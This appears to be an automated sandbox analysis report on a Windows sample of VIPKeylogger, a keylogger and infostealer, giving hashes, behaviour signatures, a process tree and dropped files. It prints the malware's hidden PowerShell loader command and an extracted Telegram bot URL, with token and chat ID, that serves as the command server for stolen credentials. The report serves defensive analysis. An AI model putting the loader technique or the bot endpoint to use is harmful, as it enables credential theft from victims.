Analysis

  • max time kernel
    93s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-01-2025 04:12

General

  • Target

    8806ce311854fa80261e855453c07d30b43a24d413c65cdfaae99024408bd6ff.exe

  • Size

    761KB

  • MD5

    a1204c6a7fe28bab5db0e3240513a857

  • SHA1

    909f041efc5859b43f547017085e3cf39a05a4fa

  • SHA256

    8806ce311854fa80261e855453c07d30b43a24d413c65cdfaae99024408bd6ff

  • SHA512

    7d7c39189e6bc7c5339e08154dbbc45230b07ff55b62dadfe9828851276c0111ab76c143931d7a097395204cd2df2f00d2647f5e6f0e3254999988635c409777

  • SSDEEP

    12288:0GCX77iIcM1saeQHgPVseMP/pmRR324xFcdW693tRLPHj6XOaho:qr75cgYQHgK3PxEBXi93tJPDUOB

Malware Config

Extracted

Family

vipkeylogger

Credentials
C2

https://api.telegram.org/bot8101497037:AAEvNeES2X17rekW3womq6JjOwgZLJMqX1Y/sendMessage?chat_id=7171338311

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8806ce311854fa80261e855453c07d30b43a24d413c65cdfaae99024408bd6ff.exe
    "C:\Users\Admin\AppData\Local\Temp\8806ce311854fa80261e855453c07d30b43a24d413c65cdfaae99024408bd6ff.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3964
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Baarebukets=gc -raw 'C:\Users\Admin\AppData\Local\neoimpressionism\Andengenerationsindvandrer\prelusory.Tuk206';$Figura=$Baarebukets.SubString(29776,3);.$Figura($Baarebukets) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1500
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1628
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 2396
          4⤵
          • Program crash
          PID:3920
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1628 -ip 1628
    1⤵
      PID:1056

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nidys2dz.vgf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\nscA691.tmp\nsExec.dll

      Filesize

      6KB

      MD5

      01e76fe9d2033606a48d4816bd9c2d9d

      SHA1

      e46d8a9ed4d5da220c81baf5f1fdb94708e9aba2

      SHA256

      ee052fd5141bf769b841846170aabf0d7c2bb922c74c623c3f109344534f7a70

      SHA512

      62ef7095d1bf53354c20329c2ce8546c277aa0e791839c8a24108a01f9483a953979259e0ad04dbcab966444ee7cdd340f8c9557bc8f98e9400794f2751dc7e0

    • C:\Users\Admin\AppData\Local\neoimpressionism\Andengenerationsindvandrer\prelusory.Tuk206

      Filesize

      71KB

      MD5

      ed7e63cf5634b14fe01d4de956824d88

      SHA1

      1f765a37046506fc4125be6841c907ad14d6d241

      SHA256

      1ad13d6915fd2f28864ec1d26a89e3c3918bbeae7575cec876fe12a184c66d47

      SHA512

      ffcc939991c5c8030342f7975635d9c54d08a2d45fae760663e5888dc5c5552ac05082f87905d0e4167b13512bc2fb8ba5e5291cf87c8941e29e5c7b3a75e861

    • C:\Users\Admin\AppData\Local\neoimpressionism\Dandyism.Par

      Filesize

      316KB

      MD5

      f6a7f77b3a470e3befbe2f11db0c4acc

      SHA1

      0d7503d0065ae76fcae637b750f2ee51370e136c

      SHA256

      562bc5352f4411d89743b1492098f7eab76e312645fd4458a1c55dba106dbf7c

      SHA512

      e29fa29ed411e4236f7f2ede87886e84e0a1bea7e9ff5dbae6cf795cd85a823058b4e2ec19097244190ca3383e93c5d49519d392fb8533f2c1908c11a2730177

    • memory/1500-49-0x0000000007590000-0x000000000759A000-memory.dmp

      Filesize

      40KB

    • memory/1500-64-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-15-0x00000000059B0000-0x0000000005A16000-memory.dmp

      Filesize

      408KB

    • memory/1500-51-0x00000000075D0000-0x00000000075E1000-memory.dmp

      Filesize

      68KB

    • memory/1500-12-0x0000000005120000-0x0000000005748000-memory.dmp

      Filesize

      6.2MB

    • memory/1500-25-0x0000000005A20000-0x0000000005D74000-memory.dmp

      Filesize

      3.3MB

    • memory/1500-26-0x0000000006020000-0x000000000603E000-memory.dmp

      Filesize

      120KB

    • memory/1500-27-0x0000000006050000-0x000000000609C000-memory.dmp

      Filesize

      304KB

    • memory/1500-28-0x0000000007010000-0x00000000070A6000-memory.dmp

      Filesize

      600KB

    • memory/1500-29-0x0000000006510000-0x000000000652A000-memory.dmp

      Filesize

      104KB

    • memory/1500-30-0x0000000006560000-0x0000000006582000-memory.dmp

      Filesize

      136KB

    • memory/1500-31-0x0000000007670000-0x0000000007C14000-memory.dmp

      Filesize

      5.6MB

    • memory/1500-11-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-33-0x00000000082A0000-0x000000000891A000-memory.dmp

      Filesize

      6.5MB

    • memory/1500-36-0x000000006F8E0000-0x000000006F92C000-memory.dmp

      Filesize

      304KB

    • memory/1500-35-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-34-0x0000000007420000-0x0000000007452000-memory.dmp

      Filesize

      200KB

    • memory/1500-53-0x0000000007620000-0x0000000007634000-memory.dmp

      Filesize

      80KB

    • memory/1500-47-0x0000000007490000-0x0000000007533000-memory.dmp

      Filesize

      652KB

    • memory/1500-48-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-10-0x0000000002A40000-0x0000000002A76000-memory.dmp

      Filesize

      216KB

    • memory/1500-50-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-14-0x0000000005940000-0x00000000059A6000-memory.dmp

      Filesize

      408KB

    • memory/1500-52-0x0000000007610000-0x000000000761E000-memory.dmp

      Filesize

      56KB

    • memory/1500-46-0x0000000007460000-0x000000000747E000-memory.dmp

      Filesize

      120KB

    • memory/1500-54-0x0000000007D80000-0x0000000007D9A000-memory.dmp

      Filesize

      104KB

    • memory/1500-55-0x0000000007660000-0x0000000007668000-memory.dmp

      Filesize

      32KB

    • memory/1500-56-0x0000000007DB0000-0x0000000007DDA000-memory.dmp

      Filesize

      168KB

    • memory/1500-57-0x0000000007DE0000-0x0000000007E04000-memory.dmp

      Filesize

      144KB

    • memory/1500-58-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-60-0x000000007345E000-0x000000007345F000-memory.dmp

      Filesize

      4KB

    • memory/1500-61-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-62-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-9-0x000000007345E000-0x000000007345F000-memory.dmp

      Filesize

      4KB

    • memory/1500-13-0x0000000005060000-0x0000000005082000-memory.dmp

      Filesize

      136KB

    • memory/1500-65-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-66-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-67-0x0000000008920000-0x000000000D9F3000-memory.dmp

      Filesize

      80.8MB

    • memory/1500-68-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-69-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1500-71-0x0000000073450000-0x0000000073C00000-memory.dmp

      Filesize

      7.7MB

    • memory/1628-84-0x0000000000C10000-0x0000000001E64000-memory.dmp

      Filesize

      18.3MB

    • memory/1628-85-0x0000000000C10000-0x0000000001E64000-memory.dmp

      Filesize

      18.3MB

    • memory/1628-86-0x0000000000C10000-0x0000000000C5A000-memory.dmp

      Filesize

      296KB

    • memory/1628-87-0x0000000024D10000-0x0000000024DAC000-memory.dmp

      Filesize

      624KB